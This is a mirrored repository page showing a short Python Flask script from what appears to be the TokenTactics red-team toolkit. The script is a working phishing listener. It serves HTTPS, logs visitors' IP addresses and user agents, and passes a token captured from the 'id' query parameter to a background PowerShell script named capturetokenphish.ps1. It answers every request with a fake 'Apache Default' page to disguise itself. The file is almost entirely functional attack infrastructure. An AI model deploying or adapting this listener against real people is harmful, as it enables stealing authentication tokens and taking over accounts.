mirror of
https://github.com/rvrsh3ll/TokenTactics
synced 2026-06-08 17:18:17 +00:00
b715be99a0
Added nohup to put PowerShell in the background and handle multiple tokens.
27 lines
913 B
Python
27 lines
913 B
Python
from flask import Flask, request
|
|
import argparse
|
|
from subprocess import call
|
|
import logging
|
|
|
|
|
|
app = Flask(__name__)
|
|
|
|
logging.basicConfig(filename="visit_log.log",level=logging.INFO)
|
|
|
|
@app.route("/", methods=['GET'])
|
|
def hello():
|
|
ip_addr = request.remote_addr
|
|
user_agent = request.user_agent
|
|
app.logger.info('User From: ' + ip_addr + " with UserAgent: " + str(user_agent))
|
|
token = request.args.get("id")
|
|
if token:
|
|
print(call(["nohup", "/opt/microsoft/powershell/7/pwsh", "./capturetokenphish.ps1", token]))
|
|
return "Apache Default"
|
|
|
|
if __name__ == "__main__":
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument('-i', '--ip', type=str, required=False,default="0.0.0.0")
|
|
parser.add_argument('-p', '--port', type=str, required=False,default=443)
|
|
args = parser.parse_args()
|
|
app.run(host=args.ip,port=args.port,ssl_context=('certs/cert.pem', 'certs/privkey.pem'))
|